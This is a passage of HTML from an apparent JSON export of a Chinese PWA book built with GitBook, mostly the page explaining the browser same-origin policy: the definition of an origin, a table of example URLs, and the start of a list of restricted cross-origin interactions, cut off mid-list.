<script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter07/3-policy.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>7.3 同源策略 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"4-vulnerability.html\" />\n    \n    \n    <link rel=\"prev\" href=\"2-CSP.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"1-https.html\">\n            \n                <a href=\"1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"2-CSP.html\">\n            \n                <a href=\"2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.8.3\" data-path=\"3-policy.html\">\n            \n                <a href=\"3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"4-vulnerability.html\">\n            \n                <a href=\"4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >7.3 同源策略</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><ul><li><span class=\"title-icon \"></span><a href=\"#&#x540C;&#x6E90;&#x7B56;&#x7565;\"><b></b>&#x540C;&#x6E90;&#x7B56;&#x7565;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x540C;&#x6E90;&#x7684;&#x5B9A;&#x4E49;\"><b></b>&#x540C;&#x6E90;&#x7684;&#x5B9A;&#x4E49;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x9650;&#x5236;&#x8303;&#x56F4;\"><b></b>&#x9650;&#x5236;&#x8303;&#x56F4;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x8DE8;&#x57DF;&#x8BBF;&#x95EE;\"><b></b>&#x8DE8;&#x57DF;&#x8BBF;&#x95EE;</a></li></ul></ul></ul></div><a href=\"#\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h2 id=\"&#x540C;&#x6E90;&#x7B56;&#x7565;\"><a name=\"&#x540C;&#x6E90;&#x7B56;&#x7565;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x540C;&#x6E90;&#x7B56;&#x7565;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x540C;&#x6E90;&#x7B56;&#x7565;\" class=\"plugin-anchor\" href=\"#&#x540C;&#x6E90;&#x7B56;&#x7565;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x540C;&#x6E90;&#x7B56;&#x7565;</h2>\n<p>&#x4E0A;&#x4E00;&#x8282;&#x4ECB;&#x7ECD; CSP &#x65F6;&#xFF0C;&#x6211;&#x4EEC;&#x63D0;&#x5230;&#x4E86;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x540C;&#x6E90;&#x7B56;&#x7565;&#xFF0C;&#x540C;&#x6E90;&#x7B56;&#x7565;&#x662F; Web &#x5B89;&#x5168;&#x7684;&#x57FA;&#x7840;&#xFF0C;&#x5B83;&#x5BF9;&#x4ECE;&#x4E00;&#x4E2A;&#x6E90;&#x52A0;&#x8F7D;&#x7684;&#x8D44;&#x6E90;&#x5982;&#x4F55;&#x4E0E;&#x6765;&#x81EA;&#x53E6;&#x4E00;&#x4E2A;&#x6E90;&#x7684;&#x8D44;&#x6E90;&#x8FDB;&#x884C;&#x4EA4;&#x4E92;&#x505A;&#x51FA;&#x4E86;&#x9650;&#x5236;&#x3002;&#x8FD9;&#x662F;&#x4E00;&#x4E2A;&#x7528;&#x4E8E;&#x9694;&#x79BB;&#x6F5C;&#x5728;&#x6076;&#x610F;&#x6587;&#x4EF6;&#x7684;&#x5173;&#x952E;&#x5B89;&#x5168;&#x673A;&#x5236;&#xFF0C;&#x6BCF;&#x4E2A;&#x6E90;&#x5747;&#x4E0E;&#x5176;&#x4ED6;&#x7F51;&#x7EDC;&#x4FDD;&#x6301;&#x9694;&#x79BB;&#xFF0C;&#x4ECE;&#x800C;&#x4E3A;&#x5F00;&#x53D1;&#x8005;&#x63D0;&#x4F9B;&#x4E00;&#x4E2A;&#x53EF;&#x8FDB;&#x884C;&#x6784;&#x5EFA;&#x548C;&#x64CD;&#x4F5C;&#x7684;&#x5B89;&#x5168;&#x6C99;&#x76D2;&#x3002;</p>\n<p>&#x5982;&#x679C;&#x6CA1;&#x6709;&#x540C;&#x6E90;&#x7B56;&#x7565;&#xFF0C;Web &#x4E16;&#x754C;&#x5C31;&#x53D8;&#x5F97;&#x975E;&#x5E38;&#x4E0D;&#x5B89;&#x5168;&#xFF0C;&#x62FF;&#x6D4F;&#x89C8;&#x5668;&#x4E2D;&#x7684; cookie &#x6765;&#x8BF4;&#xFF0C;&#x5F53;&#x4F60;&#x767B;&#x5F55; A &#x7F51;&#x7AD9;&#xFF0C;&#x540C;&#x65F6;&#x6253;&#x5F00; B &#x7F51;&#x7AD9;&#xFF0C;B &#x7F51;&#x7AD9;&#x80FD;&#x83B7;&#x53D6;&#x4F60; A &#x7F51;&#x7AD9;&#x7684; cookie&#xFF0C;&#x76D7;&#x53D6;&#x4F60;&#x7684;&#x8EAB;&#x4EFD;&#x51ED;&#x8BC1;&#x8FDB;&#x884C;&#x975E;&#x6CD5;&#x64CD;&#x4F5C;&#x3002;</p>\n<p>&#x540C;&#x6E90;&#x7B56;&#x7565;&#x53EA;&#x662F;&#x4E00;&#x4E2A;&#x89C4;&#x8303;&#xFF0C;&#x867D;&#x7136;&#x5E76;&#x6CA1;&#x6709;&#x6307;&#x5B9A;&#x5176;&#x5177;&#x4F53;&#x7684;&#x4F7F;&#x7528;&#x8303;&#x56F4;&#x548C;&#x5B9E;&#x73B0;&#x65B9;&#x5F0F;&#xFF0C;&#x4F46;&#x5404;&#x4E2A;&#x6D4F;&#x89C8;&#x5668;&#x5382;&#x5546;&#x90FD;&#x9488;&#x5BF9;&#x540C;&#x6E90;&#x7B56;&#x7565;&#x505A;&#x4E86;&#x81EA;&#x5DF1;&#x7684;&#x5B9E;&#x73B0;&#x3002;</p>\n<h3 id=\"&#x540C;&#x6E90;&#x7684;&#x5B9A;&#x4E49;\"><a name=\"&#x540C;&#x6E90;&#x7684;&#x5B9A;&#x4E49;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x540C;&#x6E90;&#x7684;&#x5B9A;&#x4E49;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x540C;&#x6E90;&#x7684;&#x5B9A;&#x4E49;\" class=\"plugin-anchor\" href=\"#&#x540C;&#x6E90;&#x7684;&#x5B9A;&#x4E49;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x540C;&#x6E90;&#x7684;&#x5B9A;&#x4E49;</h3>\n<p>&#x5982;&#x679C;&#x4E24;&#x4E2A;&#x9875;&#x9762;&#x7684;&#x534F;&#x8BAE;&#xFF08;protocol&#xFF09;&#xFF0C;&#x7AEF;&#x53E3;&#xFF08;port&#xFF09;&#x548C;&#x4E3B;&#x673A;&#xFF08;host&#xFF09;&#x90FD;&#x662F;&#x76F8;&#x540C;&#x7684;&#xFF0C;&#x5219;&#x4E24;&#x4E2A;&#x9875;&#x9762;&#x5177;&#x6709;&#x76F8;&#x540C;&#x7684;&#x6E90;&#x3002;</p>\n<p>&#x4F8B;&#x5982;&#xFF0C;&#x76F8;&#x5BF9;&#x4E8E;</p>\n<pre class=\"language-\"><code>http://www.example.com/dir/page.html\n</code></pre><p>&#x540C;&#x6E90;&#x60C5;&#x51B5;&#x5982;&#x4E0B;</p>\n<table>\n<thead>\n<tr>\n<th style=\"text-align:center\">&#x5730;&#x5740;</th>\n<th style=\"text-align:center\">&#x7ED3;&#x679C;</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"text-align:center\"><a href=\"http://www.example.com/dir2/other.html\" target=\"_blank\">http://www.example.com/dir2/other.html</a></td>\n<td style=\"text-align:center\">&#x540C;&#x6E90;</td>\n</tr>\n<tr>\n<td style=\"text-align:center\"><a href=\"http://v2.www.example.com/dir/other.html\" target=\"_blank\">http://v2.www.example.com/dir/other.html</a></td>\n<td style=\"text-align:center\">&#x4E0D;&#x540C;&#x6E90;&#xFF08;&#x4E3B;&#x673A;&#x4E0D;&#x540C;&#xFF09;</td>\n</tr>\n<tr>\n<td style=\"text-align:center\"><a href=\"https://www.example.com/dir/other.html\" target=\"_blank\">https://www.example.com/dir/other.html</a></td>\n<td style=\"text-align:center\">&#x4E0D;&#x540C;&#x6E90;&#xFF08;&#x534F;&#x8BAE;&#x4E0D;&#x540C;&#xFF09;</td>\n</tr>\n<tr>\n<td style=\"text-align:center\"><a href=\"http://www.example.com:81/dir/other.html\" target=\"_blank\">http://www.example.com:81/dir/other.html</a></td>\n<td style=\"text-align:center\">&#x4E0D;&#x540C;&#x6E90;&#xFF08;&#x7AEF;&#x53E3;&#x4E0D;&#x540C;&#xFF09;</td>\n</tr>\n</tbody>\n</table>\n<h3 id=\"&#x9650;&#x5236;&#x8303;&#x56F4;\"><a name=\"&#x9650;&#x5236;&#x8303;&#x56F4;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x9650;&#x5236;&#x8303;&#x56F4;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x9650;&#x5236;&#x8303;&#x56F4;\" class=\"plugin-anchor\" href=\"#&#x9650;&#x5236;&#x8303;&#x56F4;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x9650;&#x5236;&#x8303;&#x56F4;</h3>\n<p>&#x540C;&#x6E90;&#x7B56;&#x7565;&#x9650;&#x5236;&#x4E86;&#x4E0D;&#x540C;&#x6E90;&#x4E4B;&#x95F4;&#x7684;&#x4EA4;&#x4E92;&#xFF0C;&#x4E3B;&#x8981;&#x5206;&#x6210;&#x4E09;&#x7C7B;&#xFF1A;</p>\n<ol>\n<li>&#x901A;&#x5E38;&#x5141;&#x8BB8;&#x8DE8;&#x57DF;&#x5199;&#x64CD;&#x4F5C;&#x3002;&#x5982;&#x94FE;&#x63A5;&#x3001;&#x91CD;&#x5B9A;&#x5411;&#x548C;&#x8868;&#x5355;&#x63D0;&#x4EA4;&#x3002;</li>\n<li>&#x901A;&#x5E38;&#x5141;&#x8BB8;&#x7279;&#x5B9A;&#x7684;&#x8DE8;&#x57DF;&#x8D44;&#x6E90;&#x5D4C;&#x5165;&#x3002;&#x5982; <code>script</code>&#x3001;<code>img</code> 